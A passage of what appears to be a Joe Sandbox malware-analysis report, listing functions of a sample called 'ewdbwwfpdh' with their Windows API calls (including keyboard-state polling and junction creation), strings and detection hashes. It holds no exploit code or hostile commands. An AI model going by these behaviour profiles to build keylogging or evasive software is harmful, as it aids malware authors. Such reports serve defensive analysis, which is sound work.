Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: e882c7b4d179f155f50c43e9d65e31e8980012d87424518bc660d22a881cd341
Instruction ID: a9acafa21ac92c9366b5cf6ec5f053197e17247e05920d467cfca076155c5097
Opcode Fuzzy Hash: e882c7b4d179f155f50c43e9d65e31e8980012d87424518bc660d22a881cd341
Instruction Fuzzy Hash: FF61607090125BABDF15CFA8DC98AEEBFB9FB05308F500956F841A3291D774AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001DE3D7 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 001DE3E9
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 001DE40F
_wcslen.LIBCMT ref: 001DE419
_wcsstr.LIBVCRUNTIME ref: 001DE469
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 001DE485

Strings

StringFileInfo\, xrefs: 001DE458
DefaultLangCodepage, xrefs: 001DE4E8
04090000, xrefs: 001DE4BB
%u.%u.%u.%u, xrefs: 001DE563
\VarFileInfo\Translation, xrefs: 001DE47D

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 27b6382b2c0db88afb445b466e6deed238e45eb4995a6a32ed575eedeb62425e
Instruction ID: 828aecd6a4fc6f91789ec5535baf2fca0ade111500d412d50a950cf486aa5ace
Opcode Fuzzy Hash: 27b6382b2c0db88afb445b466e6deed238e45eb4995a6a32ed575eedeb62425e
Instruction Fuzzy Hash: 5B41E6729403047BEF15BBA49C47EBF77ACEF66710F10006AF900A61C2FB74DA1196A5

Uniqueness

Uniqueness Score: -1.00%

Function 001E4678 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 001E469A
_wcslen.LIBCMT ref: 001E46C7
CreateDirectoryW.KERNEL32(?,00000000), ref: 001E46F7
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 001E4718
RemoveDirectoryW.KERNEL32(?), ref: 001E4728
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 001E47AF
CloseHandle.KERNEL32(00000000), ref: 001E47BA
CloseHandle.KERNEL32(00000000), ref: 001E47C5

Strings

:, xrefs: 001E46DC
\??\%s, xrefs: 001E46B5
\, xrefs: 001E46D1

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 49a2a323a75831d6be16c5020c2de57d84d0264e0f65719a7783f5ac692f319e
Instruction ID: 1173fbcf9631e4a90a0983d87b36ce129caf5b5cf8ad73721f75aa5921e8fd52
Opcode Fuzzy Hash: 49a2a323a75831d6be16c5020c2de57d84d0264e0f65719a7783f5ac692f319e
Instruction Fuzzy Hash: AE31C2B5904249ABDB209FA1DC49FEF37BCEF89740F1041B9FA09D6061EB7096848B64

Uniqueness

Uniqueness Score: -1.00%

Function 001DA86D Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 001DA8EE
SetKeyboardState.USER32(?), ref: 001DA959
GetAsyncKeyState.USER32(000000A0), ref: 001DA979
GetKeyState.USER32(000000A0), ref: 001DA990
GetAsyncKeyState.USER32(000000A1), ref: 001DA9BF
GetKeyState.USER32(000000A1), ref: 001DA9D0
GetAsyncKeyState.USER32(00000011), ref: 001DA9FC
GetKeyState.USER32(00000011), ref: 001DAA0A
GetAsyncKeyState.USER32(00000012), ref: 001DAA33
GetKeyState.USER32(00000012), ref: 001DAA41
GetAsyncKeyState.USER32(0000005B), ref: 001DAA6A
GetKeyState.USER32(0000005B), ref: 001DAA78

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 67da9145aec5bcd27853b0eaa8388ce6f703c0cf2961f3e60b64993635685ac0
Instruction ID: 0c45f8154e7fec53386d982f241d80142ff506b8b205e284904e9523e49ba31a
Opcode Fuzzy Hash: 67da9145aec5bcd27853b0eaa8388ce6f703c0cf2961f3e60b64993635685ac0
Instruction Fuzzy Hash: 1551D62090878869EB35E7B089547AABFB49F11340F88459BD9C25B3C2DB549A4CCBA3

Uniqueness

Uniqueness Score: -1.00%

Function 001D6555 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 001D6571
GetWindowRect.USER32(00000000,?), ref: 001D658A
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 001D65E8
GetDlgItem.USER32(?,00000002), ref: 001D65F8
GetWindowRect.USER32(00000000,?), ref: 001D660A
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 001D665E
GetDlgItem.USER32(?,000003E9), ref: 001D666C
GetWindowRect.USER32(00000000,?), ref: 001D667E
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 001D66C0
GetDlgItem.USER32(?,000003EA), ref: 001D66D3
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 001D66E9
InvalidateRect.USER32(?,00000000,00000001), ref: 001D66F6

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: fb262de6ebf814a926a9e210a55985f67f09cce8b5d05839a611ccc35f783f34
Instruction ID: a1ee804e06e1dd56f7dabb014116d079817af50d3fd24f06e45e739d8a2e74fd
Opcode Fuzzy Hash: fb262de6ebf814a926a9e210a55985f67f09cce8b5d05839a611ccc35f783f34
Instruction Fuzzy Hash: 19510E71A01305AFDF08CFA8DD89AAEBBB9FB48300F508129F519E7295D7719D048B50

Uniqueness

Uniqueness Score: -1.00%

Function 001720D8 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 001721E4: GetWindowLongW.USER32(?,000000EB), ref: 001721F2

GetSysColor.USER32(0000000F), ref: 00172102

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 8751e0b1058b2df1ee2e8f851d21f30fd8ff5cf90f65cf1290decc61a398ce33
Instruction ID: 85ed1aea1c0c028d1be255155e995bd5b6311550ac2979e4a2e018855e4f64f4
Opcode Fuzzy Hash: 8751e0b1058b2df1ee2e8f851d21f30fd8ff5cf90f65cf1290decc61a398ce33
Instruction Fuzzy Hash: 6141A431101740AFDB345F78AC48BBA7B75BB46320F558655FAAA872E1CB319D43DB10

Uniqueness

Uniqueness Score: -1.00%

Function 002048F7 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0020499A
CreateCompatibleDC.GDI32(00000000), ref: 002049A1
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 002049B4
SelectObject.GDI32(00000000,00000000), ref: 002049BC
GetPixel.GDI32(00000000,00000000,00000000), ref: 002049C7
DeleteDC.GDI32(00000000), ref: 002049D1
GetWindowLongW.USER32(?,000000EC), ref: 002049DB
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 002049F1
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 002049FD

Strings

static, xrefs: 00204932

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 0b6de1a5755b91203b3c1b84c17a9bf501d837938adfbef50ecaa21f0984e2cc
Instruction ID: 9fdc2a5c18eec5cb8cad5a4b5546cb018fbd3d141510b8c4428316871fb338c5
Opcode Fuzzy Hash: 0b6de1a5755b91203b3c1b84c17a9bf501d837938adfbef50ecaa21f0984e2cc
Instruction Fuzzy Hash: CB316D7211131AABDF11AFA4EC08FDA3B69FF0D324F104211FA58A60E1C735E820DB54

Uniqueness

Uniqueness Score: -1.00%

Function 001F458D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001F45B9
CoInitialize.OLE32(00000000), ref: 001F45E7
CoUninitialize.OLE32 ref: 001F45F1
_wcslen.LIBCMT ref: 001F468A
GetRunningObjectTable.OLE32(00000000,?), ref: 001F470E
SetErrorMode.KERNEL32(00000001,00000029), ref: 001F4832
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 001F486B
CoGetObject.OLE32(?,00000000,00210B64,?), ref: 001F488A
SetErrorMode.KERNEL32(00000000), ref: 001F489D
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 001F4921
VariantClear.OLEAUT32(?), ref: 001F4935

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 66ef851d44d95b214817d08d3adc4d8e8acc261ef0d083a51b24db1b94f2f6ce
Instruction ID: 13458e019f4d86dabddc7ed8ef0745047cf0983987f052c1f20991b1a7a595db
Opcode Fuzzy Hash: 66ef851d44d95b214817d08d3adc4d8e8acc261ef0d083a51b24db1b94f2f6ce
Instruction Fuzzy Hash: E7C146716083099FD700EF68C88496BB7E9FF89758F10491DFA899B221DB70ED46CB52

Uniqueness

Uniqueness Score: -1.00%

Function 001E83F0 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 001E844D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 001E84E9
SHGetDesktopFolder.SHELL32(?), ref: 001E84FD
CoCreateInstance.OLE32(00210CD4,00000000,00000001,00237E8C,?), ref: 001E8549
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 001E85CE
CoTaskMemFree.OLE32(?,?), ref: 001E8626
SHBrowseForFolderW.SHELL32(?), ref: 001E86B1
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 001E86D4
CoTaskMemFree.OLE32(00000000), ref: 001E86DB
CoTaskMemFree.OLE32(00000000), ref: 001E8730
CoUninitialize.OLE32 ref: 001E8736

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 707db0a18d3e053a31d4f8205400562574746c493be776487cb548d54c15f1f8
Instruction ID: 78477573f555a249cd698ac39884a61969933857aeb3b78957e37e6a52951251
Opcode Fuzzy Hash: 707db0a18d3e053a31d4f8205400562574746c493be776487cb548d54c15f1f8
Instruction Fuzzy Hash: 69C10B75A00649EFCB14DFA5C888DAEBBF9FF48314B148498E519EB261CB30ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001D0318 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 001D033F
SafeArrayAllocData.OLEAUT32(?), ref: 001D0398
VariantInit.OLEAUT32(?), ref: 001D03AA
SafeArrayAccessData.OLEAUT32(?,?), ref: 001D03CA
VariantCopy.OLEAUT32(?,?), ref: 001D041D
SafeArrayUnaccessData.OLEAUT32(?), ref: 001D0431
VariantClear.OLEAUT32(?), ref: 001D0446
SafeArrayDestroyData.OLEAUT32(?), ref: 001D0453
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001D045C
VariantClear.OLEAUT32(?), ref: 001D046E
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001D0479

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 6535167db319951c8e806ab46740d6f56e8fd3fc3b41e3861848ca5a3963e700
Instruction ID: f9d75ddd919f082273f739db32a184337970da1f01276912aaf91f87b2e36e44
Opcode Fuzzy Hash: 6535167db319951c8e806ab46740d6f56e8fd3fc3b41e3861848ca5a3963e700
Instruction Fuzzy Hash: C9415F75A00219AFCF05DFA4D848EEEBBB9FF58354F008069E955A7362C730A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0020A8E5 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00172441: GetWindowLongW.USER32(00000000,000000EB), ref: 00172452

GetSystemMetrics.USER32(0000000F), ref: 0020A926
GetSystemMetrics.USER32(0000000F), ref: 0020A946
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0020AB83
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0020ABA1
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0020ABC2
ShowWindow.USER32(00000003,00000000), ref: 0020ABE1
InvalidateRect.USER32(?,00000000,00000001), ref: 0020AC06
DefDlgProcW.USER32(?,00000005,?,?), ref: 0020AC29

Strings

, xrefs: 0020AB37

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-3916222277
Opcode ID: c31994c384cd868bc7646520ef0f14e7911dacdb99849cfd8aedaca9085d37d2
Instruction ID: 8dc4460a13fe339720b55c2226a702351acab65ad6283f9ccff85caaf3d7c47c
Opcode Fuzzy Hash: c31994c384cd868bc7646520ef0f14e7911dacdb99849cfd8aedaca9085d37d2
Instruction Fuzzy Hash: A9B1CA3161031ADFDF14CF68C9887AE7BB2FF44704F598069EC499B296D730A9A0CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001E8AEF Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 001E8BB1
SystemTimeToFileTime.KERNEL32(?,?), ref: 001E8BC1
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 001E8BCD
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 001E8C6A
SetCurrentDirectoryW.KERNEL32(?), ref: 001E8C7E
SetCurrentDirectoryW.KERNEL32(?), ref: 001E8CB0
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 001E8CE6
SetCurrentDirectoryW.KERNEL32(?), ref: 001E8CEF

Strings

*.*, xrefs: 001E8CF5

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 784392ae5277acd7faec33686926fa6029f71abb5abe9dc9d67ab3184b6eac91
Instruction ID: c23b7bfa067d1f3aa0cb0a236cd288769b4e8df1aa2ea80b653b1f441bcaa043
Opcode Fuzzy Hash: 784392ae5277acd7faec33686926fa6029f71abb5abe9dc9d67ab3184b6eac91
Instruction Fuzzy Hash: 766179B25087459FCB10EF61C8449AFB3E9FF99314F04891EF98987251EB31EA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 002045A5 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 002045D8
SetMenu.USER32(?,00000000), ref: 002045E7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0020466F
IsMenu.USER32(?), ref: 00204683
CreatePopupMenu.USER32 ref: 0020468D
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 002046BA
DrawMenuBar.USER32 ref: 002046C2

Strings

0, xrefs: 002045B3
F, xrefs: 002046AD

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: ff6c9c51e85d5ed378b9153680cadfa409a7e291cafa919a84ea1c452ba80995
Instruction ID: 595af496fa095e876a03850c8c5c80fd5769e453e09782d6424d735541081109
Opcode Fuzzy Hash: ff6c9c51e85d5ed378b9153680cadfa409a7e291cafa919a84ea1c452ba80995
Instruction Fuzzy Hash: 33416EB8A1130AEFDB14DFA5E858AAA7BB9FF0A314F144058FA4597391D731A920CF50

Uniqueness

Uniqueness Score: -1.00%

Function 001D276F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 001D27F4
GetDlgCtrlID.USER32 ref: 001D27FF
GetParent.USER32 ref: 001D281B
SendMessageW.USER32(00000000,?,00000111,?), ref: 001D281E
GetDlgCtrlID.USER32(?), ref: 001D2827
GetParent.USER32(?), ref: 001D283B
SendMessageW.USER32(00000000,?,00000111,?), ref: 001D283E

Strings

ListBox, xrefs: 001D27B1
ComboBox, xrefs: 001D277C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 1c4b08c68b2c3feb73ec256919dc71a9a2bbb00685b56b1255eb08c77cbabbcd
Instruction ID: 0e449095565254a3de3027a52e61ba7a95eec93b4d589459388c49376647cc66
Opcode Fuzzy Hash: 1c4b08c68b2c3feb73ec256919dc71a9a2bbb00685b56b1255eb08c77cbabbcd
Instruction Fuzzy Hash: BF21C274D00218BBCF15AFA0DC89EEEBBB9EF25310F104156F961A72A2CB755805DB60

Uniqueness

Uniqueness Score: -1.00%

Function 001D2850 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 001D28D3
GetDlgCtrlID.USER32 ref: 001D28DE
GetParent.USER32 ref: 001D28FA
SendMessageW.USER32(00000000,?,00000111,?), ref: 001D28FD
GetDlgCtrlID.USER32(?), ref: 001D2906
GetParent.USER32(?), ref: 001D291A
SendMessageW.USER32(00000000,?,00000111,?), ref: 001D291D

Strings

ListBox, xrefs: 001D2892
ComboBox, xrefs: 001D285D

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: fdde0cf8303b4ef0bbbe50f0e03712f7565b1cef5adcee9a87bf4a2e7e1231a6
